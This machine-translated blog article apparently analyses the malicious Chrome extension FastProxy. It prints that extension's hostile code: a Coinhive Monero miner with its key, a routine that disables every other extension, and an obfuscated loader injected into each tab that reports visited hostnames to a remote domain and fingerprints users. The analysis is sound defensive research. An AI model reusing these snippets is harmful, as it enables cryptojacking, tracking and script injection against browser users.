In this article, I will show how dangerous extensions in chrome can be, and how
Firefox extensions are safer.
It's about expanding FastProxy.
Do not put it in its pure form in chrome.
To get its source code, you first need to install another Chrome extension source viewer extension .
After that open the page .
The CRX icon at the same time becomes yellow - click on it and select "download as zip".
Now to the code analysis.
Extension restrictions are set by CSP (content security policy) and permissions:
"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; object-src 'self'",
"permissions": ["proxy", "tabs", "webRequest", "webRequestBlocking", "management", "\ u003Call_urls>", "storage"],
CSP should immediately alert, it allows unsafe-eval (more on this here ).
Those. execute code from any given string.
management
allows you to manage other extensions.webRequestBlocking
allows webRequestBlocking
to replace absolutely all requests passing through the browser.\u003Call_urls>
is the same as <all_urls>
- allows you to act on any site.Read more about permissions here .
Those. on the basis of only one manifest file, the extension already has a huge level of access to everything.
Key code files are listed in
"background": {
"scripts": ["lib.js", "jquery.min.js", "background.js", "ga.js"]
},
They are executed in order in the array immediately after installing the extension or immediately after launching the browser.
The code is minimized and confused. For unraveling, we will use the site http://jsbeautifier.org/ with default settings.
To make it much easier to read the code, I rewrote it a bit (renamed functions, changed commas to individual blocks, etc.).
You can also use the firefox version of the same extension to understand the non-essential part of the code.
The use of proxy in firefox and chrome is completely different.
To download the firefox version of the extension, you need to open the link in firefox.
Copy the link to "Add to Firefox" and open it in chrome.
Open also as a zip archive.
The rewritten code can be found at this link .
First of all, you need to understand that $.ajax
executed on a file with a script injects this script into the page (in this case, not into the page, but into the background process).
Guards the lines
localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] );
They already tell us how it is not clear here.
Add console.log
after CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
and CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
, prohibiting the execution of the Ajax themselves.
At the same time, in the JSON.parse( localStorage.C)[cc]
(and the same for record) cc, we change from 0 to 1 (later to 2, when we see arrays of 3 elements).
Get the links:
for config it
http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)
for record it
http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)
And links give data only when used with both parameters uid and version, as well as only through $ .ajax or fetch. Just opening the browser through the browser does not work - apparently worth checking for incoming headers.
Now let's get to what these Ajax give. If you want to read them yourself, better use just fetch in some other project (you will need to install extensions that unlock CORS in the browser).
So, the first link gives us a script that will be automatically embedded in the background process, since 'unsafe-eval' is present, and there are no restrictions on links in the CSP.
It is worth noting the line
function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\"> .<br><br> .</center>'",runAt:"document_start"}); }
We drive in the search for "anti-fastproxy proxy" and open the 4th search result , the "Be careful" section.
It turns out that FastProxy does not use its proxy servers.
The second link gives the code similar to the first one, but the script is different!
function closeWindow () { const time = 500; // setInterval(function() { // chrome.tabs.getSelected(null, function (details) { // id - if (details.id == -1) window.close(); }) }, time); } closeWindow();
Usually all tabs have an id. An exception is the tab-window browser console. Those. this is protection from spying through the console.
Also this file contains new URLs, decrypt them using CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
and CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
.
The first 2 links are the same as the previous ones. But the third is different:
http://fastproxy.ga/proxy/config/config.txt
For 'record', all 3 links are new.
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
In fact, it does not differ from config_proxy-fast.ru.js
The code also contains the closing of the console. Further interesting begins.
Line
var ext_id = chrome.app.getDetails().id;
gets an extension identifier, and this is an undocumented feature.
Current documentation uses a different method.
Next is the ramification:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
The same three links in case ext_id
does not fall into the necessary list of extensions.
And one new link, if it falls into the list of extensions + full reload of the extension.
If anyone can find out what these extensions were - write in the comments. There are no matches with the current FastProxy id. Search through google store does not give anything by their identifiers.
Decryption of links
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
gives
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
which can be opened directly in the browser.
Closing the console again. And then the most interesting.
var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); })
^ Run the miner Monero. Remember the way wallet, if you see somewhere in the code is similar - these are the same people.
function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions();
This code disables all extensions except himself.
If there was no permission for managament, this would not be possible.
Further
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
and
function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } }
tabs.onUpdated starts a callback when one of the stages of loading a tab is updated to another. Read more here.
Simply put it acts on every tab.
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
Except FastProxy itself. Apparently there was a series of several extensions that worked like viruses.
if (tab.url.indexOf('google') == -1) {
All urls, except for those that contain the string google. Apparently because the tabs from Google are temporary. The true reason is not clear to me.
And the worst thing is that the script is implemented in every tab after the page is fully loaded in this tab:
We run it through JS beautifier.
Games with symbols can be omitted thanks to console.log.
The most dangerous thing starts where the script tag is created.
var l = document.createElement ('script');
I am primarily interested in either its innerHTML or src.
l.setAttribute('src', document.location.protocol + '//' + h)
The left part is clear - the protocol of the current page. The right part is the actual link. Put there console.log
Get
zry4bsop.ru/d6safundjenk6af/30022_0.js
Similarly, we run through JS beautifier
The principle of the file is the same - the most dangerous part is the addition of the script.
var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t);
Get
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
if you run on the website MDN
On productforums.google.com the same
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
It turns out the right side is attached to something
We look at the code
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
mentioned in the self-calling function f
then f is mentioned in
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
Those. through symbolic operations, the visited URL is passed to the script.
We look at the script code itself, they are the same.
Again we run through JS beautifier.
Without rewriting the code, you can look at adding nodes, creating scripts, replacing cookies,
creating items from scratch, Ajax. But it is rather difficult to understand what is actually happening.
So try to rename these numbered functions.
Unraveling this file was hard. It is most difficult to go through the constant creation of objects that create objects that create objects ... And it was also hard to find pure functions to begin to unravel the tangle.
I did not manage to completely disentangle the code. But what untangled gives the following:
Build a full fingerprint of the user, which is then converted to a unique string through a series of bitwise operations.
This imprint includes:
There is a function that runs XMLHttpRequest. But it is not used in the code and does not start when the script is run.
There is a function that introduces a flash on the page, but in fact it is not used.
Check out the canvas / webgl fingerprint collection codes.
There is an introduction of an iframe into the page (the appendBadIframe1 method).
Now let's see what is in this iframe.
Run through JS beautifier.
By code, it is an information exchanger with the main script. If the main script is for the most part bitwise operations, then the i-frame is a run through the calculated properties of the objects. Using window.postMessage they exchange messages with each other.
Execution of the file creates 6 XHR requests (and through the creation of Img), as well as a new window opens when you click on the page.
Decrypted links for requests can be found in the code.
Returning to the expansion and links record. These links are used as a .pac file for the chrome.proxy.settings.set method .
File codes can be found here:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
The general essence of the files is on blocked domains and ip hang access through a proxy, and on the other DIRECT, i.e. access without proxy.
Different set of servers and a set of blocked domains / ip.
Let's look at whose servers in addition to the AutoSupport (antizapret.prostovpn.org) uses FastProxy.
We drive in postls.com in search. Open the first link.
VPM rule which will block the URL URL / host name
browsec.com
postlm.com
postls.com
Those. FastProxy uses Antizapreta and Browsec servers, not having its own servers.
With the permission of webrequest + webrequestBlocking, you can change absolutely any request, including internal requests within the chrome itself.
Those. you can completely change the HTML page, you can remove interfering headers in the requests, including the CSP (content security policy) of the site.
With the help of your proxy, you can drain all user traffic that goes through your proxy.
Google’s policy is much softer than Mozilla’s, they publish almost everything.
Mozilla has strict requirements: unsafe-eval is forbidden, code obfuscation is prohibited (allowed if you provide a complete collector).
Also, Mozilla itself periodically looks at extension codes, but not immediately after publication.
Read more here and here .
For this reason, installing new firefox extensions is much quieter than chromium extensions.
navigator gives unrealistically a lot of unique data about the browser, rather than it was in the past. And most likely will give even more in the future.
eval.toString, as well as other native functions, will allow you to calculate the current version of the browser.
Unique print on canvas and webgl.
If someone worked with webgl, please tell us what the getWebglFingerprint function does. And what's unique about it?
All sources can be found here.
Source: https://habr.com/ru/post/421735/
All Articles